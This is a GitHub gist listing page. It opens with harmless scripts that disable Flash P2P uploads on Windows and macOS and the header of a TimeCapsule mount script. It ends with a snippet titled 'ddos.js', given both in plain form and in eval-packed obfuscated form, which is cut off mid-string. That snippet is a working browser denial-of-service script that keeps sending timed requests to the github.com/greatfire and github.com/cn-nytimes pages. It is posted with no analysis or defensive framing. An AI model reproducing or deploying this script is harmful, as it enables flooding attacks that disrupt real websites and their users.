Skip to content

Instantly share code, notes, and snippets.

@zhufenggood
zhufenggood / block p2p.bat
Created April 4, 2015 17:06
Block any Flash video site p2p upload (windows)
@Echo Off
REM 32 bit windows
if exist "%windir%\System32\Macromed\Flash\mms.cfg" echo RTMFPP2PDisable=1 >> "%windir%\System32\Macromed\Flash\mms.cfg"
REM 64 bit windows
if exist "%windir%\SysWOW64\Macromed\Flash\mms.cfg" echo RTMFPP2PDisable=1 >> "%windir%\SysWOW64\Macromed\Flash\mms.cfg"
REM chrome on windows
if exist "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\" mkdir "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\System"
if exist "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\System" echo RTMFPP2PDisable=1 >> "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\System\mms.cfg"
REM have a see
pause
@zhufenggood
zhufenggood / BlockFlashP2p
Created April 4, 2015 17:58
Block any Flash video site p2p upload (mac)
mkdir -p ~/Library/Application\ Support/Google/Chrome/Default/Pepper\ Data/Shockwave\ Flash/System
touch ~/Library/Application\ Support/Google/Chrome/Default/Pepper\ Data/Shockwave\ Flash/System/mms.cfg
echo "RTMFPP2PDisable=1" >> ~/Library/Application\ Support/Google/Chrome/Default/Pepper\ Data/Shockwave\ Flash/System/mms.cfg
@zhufenggood
zhufenggood / timecapsule-handler
Created April 26, 2016 16:31 — forked from dgraziotin/timecapsule-handler
Script to automatically look for Apple TimeCapsule devices and mount/umount them under GNU/Linux. See http://task3.cc/418/how-to-automatically-mount-and-umount-apple-time-capsule-on-linu for info and explanations.
#!/bin/bash
#
# This program is free software. It comes without any warranty, to
# the extent permitted by applicable law. You can redistribute it
# and/or modify it under the terms of the Do What The Fuck You Want
# To Public License, Version 2, as published by Sam Hocevar. See
# http://sam.zoy.org/wtfpl/COPYING for more details.
#
# Version 3, enhanced for Ubuntu 13.X+, Fedora 19+, and similar distros.
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;
function unixtime() {
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
@zhufenggood
zhufenggood / ddos.js
Last active May 16, 2017 17:55
DDOS.js
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E/","m://n.9/F-G/"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou